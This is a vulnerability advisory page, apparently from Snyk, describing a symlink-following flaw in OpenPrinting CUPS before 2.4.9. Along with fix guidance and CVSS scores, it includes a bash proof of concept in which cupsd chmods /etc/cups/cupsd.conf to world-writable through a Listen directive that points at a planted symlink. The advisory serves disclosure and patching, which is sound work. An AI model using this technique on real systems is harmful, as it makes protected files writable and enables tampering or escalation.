Improper Link Resolution Before File Access ('Link Following') Affecting OpenPrinting/cups package, versions [,2.4.9)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (6th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-UNMANAGED-OPENPRINTINGCUPS-7254925
  • published 14 Jun 2024
  • disclosed 11 Jun 2024
  • credit Rory McNamara

How to fix?

Upgrade OpenPrinting/cups to version 2.4.9 or higher.

Overview

Affected versions of this package are vulnerable to Improper Link Resolution Before File Access ('Link Following') when starting the cupsd server with a Listen configuration item pointing to a symbolic link. An attacker could change the permission of any user or system files to be world writable by having the cupsd process to perform an arbitrary chmod of the provided argument, providing world-writable access to the target.

PoC

set -e
exploit() {
        echo "Staging..."
        mkdir -m 777 /tmp/stage
        ln -s /etc/cups/cupsd.conf /tmp/stage/cupsd.conf

        # emulate configuration access to cupsd.conf
        echo 'Listen /tmp/stage/cupsd.conf' | sudo tee -a /etc/cups/cupsd.conf

        echo

        echo "Current permissions of cupsd.conf"
        ls -l /etc/cups/cupsd.conf
        tail -n1 /etc/cups/cupsd.conf || true

        echo

        echo "Restarting cupsd"
        sudo systemctl restart cups

        echo

        echo "New permissions of cupsd.conf"
        ls -l /etc/cups/cupsd.conf
        tail -n1 /etc/cups/cupsd.conf || true
}

cleanup() {
        sudo sed -i '/Listen \/tmp\/stage\/cupsd.conf/d' /etc/cups/cupsd.conf
        sudo chmod 640 /etc/cups/cupsd.conf
        rm -rf /tmp/stage
}

$@

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
4.4 medium
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    High
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

Red Hat

4.4 medium
Expand this section

SUSE

7.8 high